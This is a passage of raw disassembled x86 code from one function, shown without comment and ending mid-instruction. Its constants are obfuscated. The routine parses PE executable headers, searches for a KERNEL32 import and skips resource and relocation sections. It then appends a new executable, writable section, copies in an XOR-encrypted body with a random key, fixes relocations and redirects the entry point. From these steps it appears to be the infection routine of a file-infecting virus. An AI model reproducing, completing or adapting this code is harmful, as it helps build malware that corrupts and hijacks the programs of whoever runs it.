loc_4397DC: ; CODE XREF: sub_4395D8+1B3j ; sub_4395D8+1E2j mov eax, [ebp+var_8] mov eax, [eax+80h] mov [ebp+var_430], eax mov eax, [ebp+var_840] mov [ebp+var_106C], eax add [ebp+var_106C], 0F8h mov eax, 28h mov ecx, [ebp+var_8] movzx ecx, word ptr [ecx+6] mul ecx mov [ebp+var_31EF8], eax add [ebp+var_106C], eax mov eax, 28h mov ecx, dword_54F1C0 add ecx, 2 mul ecx mov [ebp+var_31EFC], eax add [ebp+var_106C], eax mov eax, [ebp+var_8] mov ecx, [eax+0D4h] add [ebp+var_106C], ecx mov eax, [eax+54h] cmp [ebp+var_106C], eax ja loc_43AADB mov eax, dword_54F1B4 sub eax, 4 mov [ebp+var_C54], eax mov eax, dword_54F16C sub eax, 5 mov [ebp+var_1C], eax mov eax, dword_54F1F4 sub eax, 9 mov [ebp+var_105C], eax mov eax, dword_54F0F0 sub eax, 3 mov [ebp+var_434], eax jmp loc_439951 ; --------------------------------------------------------------------------- loc_43988F: ; CODE XREF: sub_4395D8+386j mov eax, 28h mul [ebp+var_434] mov [ebp+var_31F08], eax mov eax, [ebp+var_840] mov edx, [ebp+var_4] lea eax, [eax+edx+0F8h] mov edx, [ebp+var_31F08] mov esi, edx add esi, eax mov eax, [esi+0Ch] add eax, [esi+8] mov [ebp+var_31F00], eax mov eax, [esi+14h] add eax, [esi+10h] mov [ebp+var_31F04], eax mov eax, [ebp+var_1C] cmp [ebp+var_31F00], eax jbe short loc_4398E6 mov eax, [ebp+var_31F00] mov [ebp+var_1C], eax loc_4398E6: ; CODE XREF: sub_4395D8+303j mov eax, [ebp+var_C54] cmp [ebp+var_31F04], eax jbe short loc_439900 mov eax, [ebp+var_31F04] mov [ebp+var_C54], eax loc_439900: ; CODE XREF: sub_4395D8+31Aj mov eax, [ebp+var_8] mov eax, [eax+0A8h] cmp eax, [esi+0Ch] jb short loc_43992B cmp eax, [ebp+var_31F00] jnb short loc_43992B mov eax, [esi+14h] mov edx, [ebp+var_8] add eax, [edx+0A8h] sub eax, [esi+0Ch] mov [ebp+var_105C], eax loc_43992B: ; CODE XREF: sub_4395D8+334j ; sub_4395D8+33Cj mov eax, [ebp+var_430] mov edx, [esi+0Ch] cmp eax, edx jb short loc_43994B add edx, [esi+8] cmp eax, edx jnb short loc_43994B sub eax, [esi+0Ch] add eax, [esi+14h] mov [ebp+var_844], eax loc_43994B: ; CODE XREF: sub_4395D8+35Ej ; sub_4395D8+365j inc [ebp+var_434] loc_439951: ; CODE XREF: sub_4395D8+2B2j mov eax, [ebp+var_8] movzx eax, word ptr [eax+6] cmp [ebp+var_434], eax jb loc_43988F mov eax, dword_54F090 add eax, 0FFCh push eax push [ebp+var_1C] call sub_43FCD8 add esp, 8 mov [ebp+var_1C], eax cmp [ebp+var_1184], 0 jz short loc_43998F mov eax, [ebp+var_C54] mov [ebp+var_10], eax loc_43998F: ; CODE XREF: sub_4395D8+3ACj mov eax, [ebp+var_C54] cmp [ebp+var_10], eax jz short loc_4399B1 mov eax, [ebp+var_8] movsx edx, word_54F198 dec edx cmp [eax+0A8h], edx jz loc_43AADB loc_4399B1: ; CODE XREF: sub_4395D8+3C0j mov eax, dword_54F24C sub eax, 9 cmp [ebp+var_105C], eax jz loc_439A90 mov eax, dword_54F1AC add eax, dword_54F1DC sub eax, 2 mov [ebp+var_31F08], eax mov eax, dword_54F160 sub eax, 7 mov [ebp+var_31F00], eax jmp short loc_439A37 ; --------------------------------------------------------------------------- loc_4399E9: ; CODE XREF: sub_4395D8+485j mov eax, [ebp+var_105C] mov [ebp+var_31F0C], eax mov eax, 1Ch mul [ebp+var_31F00] mov [ebp+var_31F10], eax mov eax, [ebp+var_31F0C] mov edx, [ebp+var_31F10] add eax, edx add eax, [ebp+var_4] mov [ebp+var_31F04], eax mov edx, [ebp+var_31F08] cmp [eax+18h], edx jbe short loc_439A31 mov eax, [eax+18h] mov [ebp+var_31F08], eax loc_439A31: ; CODE XREF: sub_4395D8+44Ej inc [ebp+var_31F00] loc_439A37: ; CODE XREF: sub_4395D8+40Fj mov edi, [ebp+var_8] mov eax, [edi+0ACh] mov ecx, 1Ch shr eax, 2 mov edx, 24924925h mul edx mov [ebp+var_31F0C], edx mov edi, edx cmp [ebp+var_31F00], edi jb short loc_4399E9 mov eax, [ebp+var_8] push dword ptr [eax+3Ch] push [ebp+var_31F08] call sub_43FCD8 add esp, 8 mov [ebp+var_31F08], eax mov eax, [ebp+var_C54] cmp eax, [ebp+var_10] jz short loc_439A90 cmp [ebp+var_31F08], eax jnz loc_43AADB loc_439A90: ; CODE XREF: sub_4395D8+3E7j ; sub_4395D8+4AAj and [ebp+var_1078], 0 mov eax, dword_54F134 add eax, dword_54F0D4 sub eax, 7 mov [ebp+var_438], eax jmp loc_439BE1 ; --------------------------------------------------------------------------- loc_439AB0: ; CODE XREF: sub_4395D8+618j mov eax, [ebp+var_844] add eax, [ebp+var_438] add eax, [ebp+var_4] mov [ebp+var_32004], eax mov edx, dword_54F12C add edx, dword_54F168 sub edx, 0Ah cmp [eax], edx jz loc_439BF6 mov eax, [ebp+var_32004] mov eax, [eax+0Ch] sub eax, [ebp+var_430] add eax, [ebp+var_844] mov [ebp+var_32008], eax add eax, [ebp+var_4] push eax lea eax, [ebp+var_31FFF] push eax call ds:dword_4491A4 add esp, 8 mov eax, dword_54F140 dec eax mov [ebp+var_31F00], eax jmp short loc_439B44 ; --------------------------------------------------------------------------- loc_439B19: ; CODE XREF: sub_4395D8+58Ej mov eax, [ebp+var_31F00] mov al, [ebp+eax+var_31FFF] cmp al, 61h jle short loc_439B3E cmp al, 7Ah jge short loc_439B3E mov eax, [ebp+var_31F00] lea eax, [ebp+eax+var_31FFF] sub byte ptr [eax], 20h loc_439B3E: ; CODE XREF: sub_4395D8+550j ; sub_4395D8+554j inc [ebp+var_31F00] loc_439B44: ; CODE XREF: sub_4395D8+53Fj mov eax, [ebp+var_31F00] movsx eax, [ebp+eax+var_31FFF] mov edx, dword_54F0BC movsx ecx, word_54F0FC add edx, ecx sub edx, 2 cmp eax, edx jnz short loc_439B19 movsx eax, word_54F190 cmp byte ptr [ebp+eax+var_32008+2], 45h jnz short loc_439BDA mov edx, dword_54F228 cmp byte ptr [ebp+edx+var_32008+3], 52h jnz short loc_439BDA movsx edx, word_54F1A4 cmp byte ptr [ebp+edx+var_32008+3], 4Bh jnz short loc_439BDA mov edx, dword_54F184 cmp [ebp+edx+var_31FFD], 33h jnz short loc_439BDA mov edx, dword_54F1D8 add edx, dword_54F200 cmp byte ptr [ebp+edx+var_32004+1], 4Ch jnz short loc_439BDA add eax, dword_54F168 cmp byte ptr [ebp+eax+var_32004+2], 32h jnz short loc_439BDA mov [ebp+var_1078], 1 loc_439BDA: ; CODE XREF: sub_4395D8+59Fj ; sub_4395D8+5AFj ... add [ebp+var_438], 14h loc_439BE1: ; CODE XREF: sub_4395D8+4D3j mov eax, [ebp+var_8] mov eax, [eax+84h] cmp [ebp+var_438], eax jb loc_439AB0 loc_439BF6: ; CODE XREF: sub_4395D8+4FEj cmp [ebp+var_1078], 0 jz loc_43AADB mov eax, [ebp+var_8] add eax, 16h or word ptr [eax], 1 lea eax, [ebp+var_31ECB] mov [ebp+var_42C], eax mov eax, [eax+3Ch] mov [ebp+var_848], eax add eax, [ebp+var_42C] mov [ebp+var_84C], eax cmp [ebp+var_1184], 0 jnz loc_439D4B mov eax, [ebp+var_8] mov edx, dword_54F1C8 sub edx, 8 cmp [eax+0D0h], edx jz loc_439D4B movsx edx, word_54F0F8 add edx, dword_54F098 sub edx, 0Eh cmp [eax+0D4h], edx jz loc_439D4B mov edx, [ebp+var_106C] cmp [eax+54h], edx jbe loc_439D4B mov eax, [ebp+var_840] add eax, 0F8h mov [ebp+var_31F08], eax mov eax, 28h mov ecx, [ebp+var_8] movzx ecx, word ptr [ecx+6] mul ecx mov [ebp+var_31F0C], eax mov eax, [ebp+var_31F08] mov edx, [ebp+var_31F0C] add eax, edx mov [ebp+var_31F00], eax mov [ebp+var_31F10], eax mov eax, 28h mov ecx, dword_54F1AC add ecx, dword_54F0F0 sub ecx, 2 mul ecx mov [ebp+var_31F14], eax mov eax, [ebp+var_31F10] mov edx, [ebp+var_31F14] add eax, edx mov [ebp+var_31F04], eax mov eax, [ebp+var_8] push dword ptr [eax+0D4h] mov eax, [ebp+var_4] mov edx, [ebp+var_31F00] add edx, eax push edx mov edx, [ebp+var_31F04] add edx, eax push edx call ds:dword_4CB814 add esp, 0Ch mov eax, [ebp+var_8] add eax, 0D0h mov [ebp+var_31F18], eax mov eax, 28h mov ecx, dword_54F1C0 add ecx, dword_54F0C0 mul ecx mov [ebp+var_31F1C], eax mov eax, [ebp+var_31F18] mov edx, eax mov ecx, [ebp+var_31F1C] add [edx], ecx loc_439D4B: ; CODE XREF: sub_4395D8+65Dj ; sub_4395D8+675j ... mov eax, [ebp+var_8] push dword ptr [eax+3Ch] push [ebp+var_10] call sub_43FCD8 mov [ebp+var_10], eax mov eax, 28h mov ecx, [ebp+var_8] movzx ecx, word ptr [ecx+6] mul ecx mov [ebp+var_31F00], eax mov eax, [ebp+var_840] mov edx, [ebp+var_4] lea eax, [eax+edx+0F8h] mov edx, [ebp+var_31F00] mov esi, edx add esi, eax mov eax, dword_54F1DC add eax, 0Ch push eax mov eax, dword_54F0E4 sub eax, 5 push eax mov eax, esi add eax, 18h push eax call ds:dword_4CB934 movsx eax, word_54F210 add eax, 1FFFBh mov [esi+8], eax mov eax, [ebp+var_8] push dword ptr [eax+3Ch] mov eax, [ebp+arg_8] add eax, 0Dh push eax call sub_43FCD8 mov [esi+10h], eax mov eax, [ebp+var_10] mov [ebp+var_850], eax mov eax, [ebp+var_1C] mov [ebp+var_1060], eax push offset byte_550825 call sub_43AAF7 push eax push esi call ds:dword_4491A4 mov eax, [ebp+var_1C] mov [esi+0Ch], eax mov eax, dword_54F14C add eax, 0E000001Eh mov [esi+24h], eax mov eax, [ebp+var_10] mov [esi+14h], eax mov eax, dword_54F0EC add eax, 1FFFFh add [ebp+var_1C], eax mov eax, [ebp+var_8] mov edx, [esi+0Ch] add edx, [esi+8] mov [eax+50h], edx call ds:dword_54E040 movsx edi, word_54F128 movsx edx, word_54F138 add edi, edx sub edi, 7 mov ecx, 0FDh cdq idiv ecx add edi, edx mov [ebp+var_1064], edi mov eax, [ebp+var_8] push dword ptr [eax+3Ch] mov eax, [ebp+var_10] add eax, [esi+10h] push eax call sub_43FCD8 add esp, 30h mov [ebp+var_10], eax mov eax, [ebp+var_8] add eax, 6 inc word ptr [eax] call ds:dword_54E040 mov edi, [ebp+var_848] mov edx, [ebp+var_42C] mov [ebp+var_31F08], edx mov [ebp+var_31F04], eax mov ecx, 0FFh cdq idiv ecx mov ecx, [ebp+var_31F08] mov [ecx+edi], dl call ds:dword_54E040 mov edx, dword_54F200 movsx ecx, word_54F104 add edx, ecx sub edx, 4 add edi, edx mov edx, [ebp+var_42C] mov [ebp+var_31F10], edx mov [ebp+var_31F0C], eax mov ecx, 0FFh cdq idiv ecx mov ecx, [ebp+var_31F10] mov [ecx+edi], dl mov edi, dword_54F1C0 add edi, dword_54F174 sub edi, 7 mov edx, [ebp+var_42C] mov ecx, [ebp+arg_8] shr ecx, 9 mov [edx+edi], cl movsx eax, word_54F0C4 add eax, dword_54F18C sub eax, 7 mov ecx, [ebp+var_1064] xor ecx, 4Dh mov [edx+eax], cl mov eax, dword_54F1F8 add eax, 3Dh add eax, dword_54F0BC mov [ebp+var_43C], eax jmp short loc_439F5D ; --------------------------------------------------------------------------- loc_439F28: ; CODE XREF: sub_4395D8+991j call ds:dword_54E040 mov edi, [ebp+var_43C] mov edx, [ebp+var_42C] mov [ebp+var_31F18], edx mov [ebp+var_31F14], eax mov ecx, 0FFh cdq idiv ecx mov ecx, [ebp+var_31F18] mov [ecx+edi], dl inc [ebp+var_43C] loc_439F5D: ; CODE XREF: sub_4395D8+94Ej mov eax, [ebp+var_848] cmp [ebp+var_43C], eax jb short loc_439F28 cmp [ebp+var_1184], 0 jz short loc_439FEE mov eax, [ebp+var_850] movsx edx, word_54F0D0 add edx, dword_54F0C0 add eax, edx mov edx, [ebp+var_4] mov eax, [edx+eax] mov [ebp+var_31F1C], eax mov eax, [ebp+var_8] mov edx, [eax+34h] add edx, [eax+28h] mov eax, dword_54F130 add eax, 6 add edx, eax mov [ebp+var_31F20], edx mov eax, [ebp+var_31F1C] mov edx, dword_54F090 add edx, 0FFFFFFF6h movsx ecx, word_54F210 add edx, ecx sub eax, edx add eax, [ebp+var_31F20] mov edx, dword_54F1AC add edx, 2 add eax, edx mov [ebp+var_31F24], eax mov eax, [ebp+var_8] mov edx, [ebp+var_31F24] sub edx, [eax+34h] mov [eax+28h], edx loc_439FEE: ; CODE XREF: sub_4395D8+99Aj push 0Dh push offset dword_54F290 lea eax, [ebp+var_31ED8] push eax call ds:dword_4CB814 mov eax, [esi+10h] add eax, 0Dh push eax lea eax, [ebp+var_31ED8] push eax mov eax, [esi+14h] add eax, [ebp+var_4] push eax call ds:dword_4CB814 add esp, 18h mov eax, [esi+14h] add eax, 0Dh mov [ebp+var_1068], eax movsx edx, word_54F0C4 sub edx, 4 add eax, edx mov [ebp+var_424], eax jmp short loc_43A05A ; --------------------------------------------------------------------------- loc_43A040: ; CODE XREF: sub_4395D8+A91j mov eax, [ebp+var_424] add eax, [ebp+var_4] movzx edx, byte ptr [eax] xor edx, [ebp+var_1064] mov [eax], dl inc [ebp+var_424] loc_43A05A: ; CODE XREF: sub_4395D8+A66j mov eax, [ebp+var_1068] add eax, [ebp+arg_8] cmp [ebp+var_424], eax jb short loc_43A040 mov eax, dword_54F0B8 sub eax, 4 mov [ebp+var_18], eax mov eax, dword_54F1F4 mov edx, eax add edx, eax mov eax, edx sub eax, 12h mov [ebp+var_440], eax jmp loc_43A377 ; --------------------------------------------------------------------------- loc_43A08F: ; CODE XREF: sub_4395D8+DAFj mov eax, 28h mul [ebp+var_440] mov [ebp+var_31F20], eax mov eax, [ebp+var_848] mov edx, [ebp+var_42C] lea eax, [eax+edx+0F8h] mov edx, [ebp+var_31F20] mov ebx, edx add ebx, eax mov eax, 28h mov ecx, [ebp+var_8] movzx ecx, word ptr [ecx+6] mul ecx mov [ebp+var_31F24], eax mov eax, [ebp+var_840] mov edx, [ebp+var_4] lea eax, [eax+edx+0F8h] mov edx, [ebp+var_31F24] mov esi, edx add esi, eax movsx eax, word_54F0CC cmp byte ptr [ebx+eax], 72h jnz short loc_43A12B mov eax, dword_54F1AC movsx edx, word_54F13C add eax, edx sub eax, 0Bh cmp byte ptr [ebx+eax], 2Eh jnz short loc_43A12B movsx eax, word_54F208 cmp byte ptr [eax+ebx+4], 63h jnz short loc_43A12B mov eax, [ebx+14h] mov [ebp+var_107C], eax jmp loc_43A371 ; --------------------------------------------------------------------------- loc_43A12B: ; CODE XREF: sub_4395D8+B1Ej ; sub_4395D8+B35j ... movsx eax, word_54F0F8 sub eax, 5 cmp byte ptr [ebx+eax], 2Eh jnz short loc_43A174 movsx eax, word_54F244 add eax, dword_54F168 sub eax, 8 cmp byte ptr [ebx+eax], 65h jnz short loc_43A174 mov eax, dword_54F1E4 inc eax cmp byte ptr [ebx+eax], 61h jnz short loc_43A174 mov eax, [ebx+0Ch] mov [ebp+var_1188], eax mov eax, [ebx+14h] mov [ebp+var_1080], eax jmp loc_43A371 ; --------------------------------------------------------------------------- loc_43A174: ; CODE XREF: sub_4395D8+B61j ; sub_4395D8+B77j ... movsx eax, word_54F164 cmp byte ptr [ebx+eax], 69h jnz short loc_43A1B2 mov eax, dword_54F1AC movsx edx, word_54F13C add eax, edx sub eax, 0Bh cmp byte ptr [ebx+eax], 2Eh jnz short loc_43A1B2 movsx eax, word_54F210 add eax, dword_54F188 sub eax, 5 cmp byte ptr [ebx+eax], 61h jz loc_43A371 loc_43A1B2: ; CODE XREF: sub_4395D8+BA7j ; sub_4395D8+BBEj mov eax, dword_54F1B4 sub eax, 4 cmp byte ptr [ebx+eax], 2Eh jnz loc_43A248 mov eax, dword_54F120 add eax, dword_54F0F0 sub eax, 0Ah cmp byte ptr [ebx+eax], 62h jnz short loc_43A248 mov eax, dword_54F1E4 add eax, dword_54F23C dec eax cmp byte ptr [ebx+eax], 73h jnz short loc_43A248 add esi, 0FFFFFFD8h mov eax, dword_54F1E0 add eax, 0E0000018h add eax, dword_54F0B8 mov [esi+24h], eax movsx eax, word_54F0B4 add eax, 0FFBh push eax push dword ptr [esi+8] call sub_43FCD8 mov edi, eax add edi, [ebx+8] mov [esi+8], edi mov eax, dword_54F0A0 add eax, 0FFBh add eax, dword_54F134 push eax mov eax, [ebp+var_1C] add eax, [ebx+8] push eax call sub_43FCD8 add esp, 10h mov [ebp+var_1C], eax add esi, 28h jmp loc_43A371 ; --------------------------------------------------------------------------- loc_43A248: ; CODE XREF: sub_4395D8+BE6j ; sub_4395D8+BFEj ... mov eax, [ebp+var_10] mov [esi+14h], eax mov eax, [ebx+8] mov [esi+8], eax mov eax, [ebp+var_1C] mov [esi+0Ch], eax mov eax, [ebx+24h] mov [esi+24h], eax push ebx push esi call ds:dword_4491A4 mov eax, [ebx+10h] mov [esi+10h], eax movsx eax, word_54F0D0 movsx edx, word_54F0CC lea eax, [eax+edx+5] push eax mov eax, dword_54F0F0 sub eax, 3 push eax mov eax, esi add eax, 18h push eax call ds:dword_4CB934 mov edi, [ebp+var_18] mov edx, [ebx+0Ch] mov [ebp+edi*4+var_420], edx mov edx, [ebx+8] mov [ebp+edi*4+var_83C], edx mov edx, [esi+0Ch] mov [ebp+edi*4+var_C4C], edx mov edx, [esi+14h] mov [ebp+edi*4+var_1050], edx inc [ebp+var_18] mov eax, [ebx+10h] add [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_31F1C], eax mov eax, [ebp+var_8] push dword ptr [eax+3Ch] push [ebp+var_10] call sub_43FCD8 add esp, 1Ch mov [ebp+var_10], eax mov eax, dword_54F1AC dec eax cmp byte ptr [ebx+eax], 64h jnz short loc_43A313 mov eax, [ebp+var_31F1C] cmp [ebp+var_10], eax jbe short loc_43A313 mov ecx, [ebp+var_10] sub ecx, eax mov [ebp+var_31F28], ecx mov eax, ecx add [esi+8], eax mov eax, ecx add [esi+10h], eax loc_43A313: ; CODE XREF: sub_4395D8+D19j ; sub_4395D8+D24j movsx eax, word_54F0FC add eax, 0FFEh push eax mov eax, [esi+0Ch] add eax, [ebx+8] push eax call sub_43FCD8 mov edi, [ebp+var_8] mov [edi+50h], eax mov eax, dword_54F214 add eax, 0FFDh push eax mov eax, [ebp+var_1C] add eax, [ebx+8] push eax call sub_43FCD8 mov [ebp+var_1C], eax mov eax, edi add eax, 6 inc word ptr [eax] push dword ptr [esi+10h] mov eax, [ebx+14h] add eax, [ebp+var_42C] push eax mov eax, [esi+14h] add eax, [ebp+var_4] push eax call ds:dword_4CB814 add esp, 1Ch loc_43A371: ; CODE XREF: sub_4395D8+B4Ej ; sub_4395D8+B97j ... inc [ebp+var_440] loc_43A377: ; CODE XREF: sub_4395D8+AB2j mov eax, [ebp+var_84C] movzx eax, word ptr [eax+6] cmp [ebp+var_440], eax jb loc_43A08F mov eax, [ebp+var_107C] add eax, [ebp+var_42C] mov [ebp+var_14], eax loc_43A39C: ; CODE XREF: sub_4395D8+FECj mov eax, dword_54F1DC movsx edx, word_54F1A8 add eax, edx mov [ebp+var_20], eax jmp short loc_43A40B ; --------------------------------------------------------------------------- loc_43A3AF: ; CODE XREF: sub_4395D8+E39j mov edi, [ebp+var_20] mov edx, [ebp+var_14] mov edx, [edx] cmp [ebp+edi*4+var_420], edx jnz short loc_43A3CB mov eax, [ebp+var_14] mov eax, [eax] mov [ebp+var_C50], eax loc_43A3CB: ; CODE XREF: sub_4395D8+DE6j mov edi, [ebp+var_20] shl edi, 2 mov edx, [ebp+edi+var_420] add edx, [ebp+edi+var_83C] mov edi, [ebp+var_14] cmp edx, [edi] jbe short loc_43A408 mov edi, [ebp+var_20] mov edi, [ebp+edi*4+var_1050] mov [ebp+var_1070], edi mov edi, [ebp+var_20] mov edi, [ebp+edi*4+var_C4C] mov [ebp+var_1054], edi jmp short loc_43A413 ; --------------------------------------------------------------------------- loc_43A408: ; CODE XREF: sub_4395D8+E0Cj inc [ebp+var_20] loc_43A40B: ; CODE XREF: sub_4395D8+DD5j mov eax, [ebp+var_18] cmp [ebp+var_20], eax jb short loc_43A3AF loc_43A413: ; CODE XREF: sub_4395D8+E2Ej mov eax, dword_54F204 sub eax, 2 mov [ebp+var_428], eax jmp loc_43A58A ; --------------------------------------------------------------------------- loc_43A426: ; CODE XREF: sub_4395D8+FBEj mov eax, [ebp+var_428] mov edx, dword_54F1B0 add edx, dword_54F120 sub edx, 7 add eax, edx add eax, [ebp+var_14] mov [ebp+var_31F20], eax mov ax, [eax] mov word ptr [ebp+var_31F1C], ax movzx eax, word ptr [ebp+var_31F1C] mov edx, dword_54F1AC sub edx, 2 cmp eax, edx jz loc_43A59C movzx edi, word ptr [ebp+var_31F1C] movsx edx, word_54F0D0 movsx ecx, word_54F148 lea ecx, [edx+ecx+5] sar edi, cl mov word ptr [ebp+var_31F24+2], di movzx edi, word ptr [ebp+var_31F1C] mov edx, dword_54F168 movsx ecx, word_54F0F4 xchg edx, ecx add ecx, edx shl edi, cl mov word ptr [ebp+var_31F1C+2], di movzx edi, word ptr [ebp+var_31F1C+2] mov ecx, dword_54F1E0 sar edi, cl mov word ptr [ebp+var_31F1C+2], di movzx eax, word ptr [ebp+var_31F1C+2] mov edx, dword_54F11C sub edx, 2 cmp eax, edx jnz short loc_43A4E9 mov eax, dword_54F1F4 sub eax, 9 cmp [ebp+var_428], eax jnz loc_43A59C loc_43A4E9: ; CODE XREF: sub_4395D8+EFBj mov eax, [ebp+var_8] mov eax, [eax+34h] add eax, [ebp+var_1054] mov edx, [ebp+var_14] add eax, [edx] sub eax, [ebp+var_C50] movzx edx, word ptr [ebp+var_31F1C+2] add eax, edx mov [ebp+var_31F28], eax mov eax, [ebp+var_84C] mov eax, [eax+34h] mov edx, [ebp+var_14] add eax, [edx] movzx edx, word ptr [ebp+var_31F1C+2] add eax, edx mov [ebp+var_31F2C], eax mov ecx, [ebp+var_31F28] sub ecx, eax mov [ebp+var_31F30], ecx movzx eax, word ptr [ebp+var_31F24+2] movsx edx, word_54F1E8 add edx, dword_54F090 sub edx, 8 cmp eax, edx jnz short loc_43A57C mov eax, [ebp+var_1070] mov edx, [ebp+var_14] add eax, [edx] sub eax, [ebp+var_C50] movzx edx, word ptr [ebp+var_31F1C+2] add eax, edx add eax, [ebp+var_4] mov [ebp+var_31F34], eax mov edx, ecx add [eax], edx loc_43A57C: ; CODE XREF: sub_4395D8+F7Bj mov eax, dword_54F17C sub eax, 5 add [ebp+var_428], eax loc_43A58A: ; CODE XREF: sub_4395D8+E49j mov eax, [ebp+var_14] mov eax, [eax+4] cmp [ebp+var_428], eax jb loc_43A426 loc_43A59C: ; CODE XREF: sub_4395D8+E8Aj ; sub_4395D8+F0Bj mov eax, [ebp+var_14] mov edx, [eax+4] add edx, eax mov [ebp+var_14], edx mov eax, [ebp+var_84C] mov eax, [eax+0A4h] mov edx, [ebp+var_107C] add edx, [ebp+var_42C] add eax, edx cmp [ebp+var_14], eax jb loc_43A39C mov eax, [ebp+var_8] mov ecx, [eax+28h] mov [ebp+var_118C], ecx mov edx, [ebp+var_1060] mov [eax+28h], edx cmp [ebp+var_1184], 0 jnz short loc_43A607 add eax, 60h mov edx, [ebp+var_84C] mov edx, [edx+60h] add [eax], edx mov eax, [ebp+var_8] add eax, 68h mov edx, [ebp+var_84C] mov edx, [edx+68h] add [eax], edx loc_43A607: ; CODE XREF: sub_4395D8+100Ej mov eax, [ebp+var_8] movsx edx, word_54F240 movsx ecx, word_54F128 add edx, ecx sub edx, 7 mov [eax+46h], dx mov edx, dword_54F1FC add edx, 5 add edx, dword_54F1F8 mov [eax+1Ah], dl mov edx, dword_54F0E0 add edx, 7 mov [eax+44h], dx mov eax, [ebp+var_1080] add eax, [ebp+var_42C] mov [ebp+var_31EE8], eax mov eax, [ebp+var_1080] mov edx, [ebp+var_31EE8] add eax, [edx+1Ch] sub eax, [ebp+var_1188] mov [ebp+var_31EEC], eax add eax, [ebp+var_42C] mov [ebp+var_31EF0], eax mov eax, [eax] mov [ebp+var_1058], eax mov eax, dword_54F1B4 movsx edx, word_54F13C add eax, edx sub eax, 0Dh mov [ebp+var_24], eax jmp short loc_43A6D8 ; --------------------------------------------------------------------------- loc_43A697: ; CODE XREF: sub_4395D8+1106j mov edi, [ebp+var_24] shl edi, 2 mov edx, [ebp+edi+var_420] add edx, [ebp+edi+var_83C] cmp edx, [ebp+var_1058] jbe short loc_43A6D5 mov edi, [ebp+var_24] mov edi, [ebp+edi*4+var_420] mov [ebp+var_1194], edi mov edi, [ebp+var_24] mov edi, [ebp+edi*4+var_C4C] mov [ebp+var_1198], edi jmp short loc_43A6E0 ; --------------------------------------------------------------------------- loc_43A6D5: ; CODE XREF: sub_4395D8+10D9j inc [ebp+var_24] loc_43A6D8: ; CODE XREF: sub_4395D8+10BDj mov eax, [ebp+var_18] cmp [ebp+var_24], eax jb short loc_43A697 loc_43A6E0: ; CODE XREF: sub_4395D8+10FBj mov eax, [ebp+var_8] mov eax, [eax+34h] add eax, [ebp+var_1198] add eax, [ebp+var_1058] sub eax, [ebp+var_1194] mov [ebp+var_1190], eax mov eax, [ebp+var_84C] mov eax, [eax+34h] add eax, [ebp+var_1058] mov [ebp+var_1058], eax mov eax, [ebp+var_850] mov [ebp+var_C], eax jmp loc_43A9AC ; --------------------------------------------------------------------------- loc_43A721: ; CODE XREF: sub_4395D8+13E0j mov eax, [ebp+var_C] mov edx, [ebp+var_4] mov ecx, dword_54F0B8 add ecx, dword_54F150 sub ecx, 7 mov edi, eax add edi, ecx movzx ecx, byte ptr [edx+edi] mov edi, dword_54F0A0 sub edi, 3 cmp ecx, edi jnz loc_43A858 mov ecx, dword_54F0A0 dec ecx mov edi, eax add edi, ecx movzx ecx, byte ptr [edx+edi] mov edi, dword_54F204 sub edi, 2 cmp ecx, edi jnz loc_43A858 movzx ecx, byte ptr [edx+eax] mov edi, dword_54F114 add edi, 0E4h add edi, dword_54F1E4 cmp ecx, edi jnz loc_43A858 mov ecx, dword_54F1DC add ecx, 3 mov edi, eax add edi, ecx movzx ecx, byte ptr [edx+edi] mov edi, dword_54F23C add edi, dword_54F200 sub edi, 5 cmp ecx, edi jnz loc_43A858 add eax, dword_54F1D8 movzx eax, byte ptr [edx+eax] mov edx, dword_54F220 add edx, dword_54F1A0 sub edx, 0Ah cmp eax, edx jnz loc_43A858 mov eax, [ebp+var_8] mov ecx, [eax+34h] add ecx, [ebp+var_118C] mov [ebp+var_31F1C], ecx mov eax, [eax+34h] add eax, [ebp+var_1060] mov edx, [ebp+var_C] sub edx, [ebp+var_850] add eax, edx mov [ebp+var_31F20], eax movsx eax, word_54F0F4 mov edx, dword_54F1B4 lea eax, [eax+edx-7] sub eax, [ebp+var_31F20] add eax, ecx movsx edx, word_54F104 add edx, 4 sub eax, edx mov [ebp+var_31F24], eax movsx edi, word_54F0A8 add edi, dword_54F1F8 mov edx, [ebp+var_C] movsx ecx, word_54F0F4 add ecx, dword_54F110 sub ecx, 0Ah add edx, ecx add edx, [ebp+var_4] mov ecx, eax mov [edx+edi*4-0Ch], ecx loc_43A858: ; CODE XREF: sub_4395D8+1171j ; sub_4395D8+1191j ... mov eax, [ebp+var_C] mov edx, [ebp+var_4] mov [ebp+var_31F1C], edx mov ecx, dword_54F130 add ecx, 2 mov edi, eax add edi, ecx movzx ecx, byte ptr [edx+edi] mov edi, dword_54F184 movsx edx, word_54F194 add edi, edx mov edx, edi sub edx, 5 cmp ecx, edx jnz loc_43A9A9 movsx edx, word_54F244 add edx, dword_54F23C sub edx, 6 mov ecx, eax add ecx, edx mov edx, [ebp+var_31F1C] movzx edx, byte ptr [edx+ecx] mov ecx, dword_54F14C add ecx, dword_54F1EC sub ecx, 5 cmp edx, ecx jnz loc_43A9A9 mov edx, dword_54F15C add edx, dword_54F110 sub edx, 0Bh mov ecx, eax add ecx, edx mov edx, [ebp+var_31F1C] movzx edx, byte ptr [edx+ecx] mov ecx, dword_54F12C sub ecx, 8 cmp edx, ecx jnz loc_43A9A9 mov edx, [ebp+var_31F1C] movzx edx, byte ptr [edx+eax] movsx ecx, word_54F240 add ecx, 0E0h cmp edx, ecx jnz loc_43A9A9 mov edx, dword_54F234 movsx ecx, word_54F208 add edx, ecx sub edx, 5 add eax, edx mov edx, [ebp+var_31F1C] movzx eax, byte ptr [edx+eax] mov edx, dword_54F22C sub edx, 7 cmp eax, edx jnz short loc_43A9A9 mov eax, [ebp+var_8] mov eax, [eax+34h] add eax, [ebp+var_1060] mov edx, [ebp+var_C] sub edx, [ebp+var_850] add eax, edx mov [ebp+var_31F20], eax mov eax, [ebp+var_1190] mov [ebp+var_31F24], eax movsx eax, word_54F0F8 add eax, 0FFFFFFFAh sub eax, [ebp+var_31F20] add eax, [ebp+var_31F24] mov edx, dword_54F0D8 sub edx, 2 sub eax, edx mov [ebp+var_31F28], eax movsx edi, word_54F104 mov edx, [ebp+var_C] mov ecx, dword_54F0BC inc ecx add edx, ecx add edx, [ebp+var_4] mov ecx, eax mov [edx+edi*4], ecx loc_43A9A9: ; CODE XREF: sub_4395D8+12B3j ; sub_4395D8+12E8j ... inc [ebp+var_C] loc_43A9AC: ; CODE XREF: sub_4395D8+1144j mov eax, [ebp+var_850] add eax, 0Dh cmp [ebp+var_C], eax jb loc_43A721 push [ebp+var_1074] call ds:dword_4CB948 push 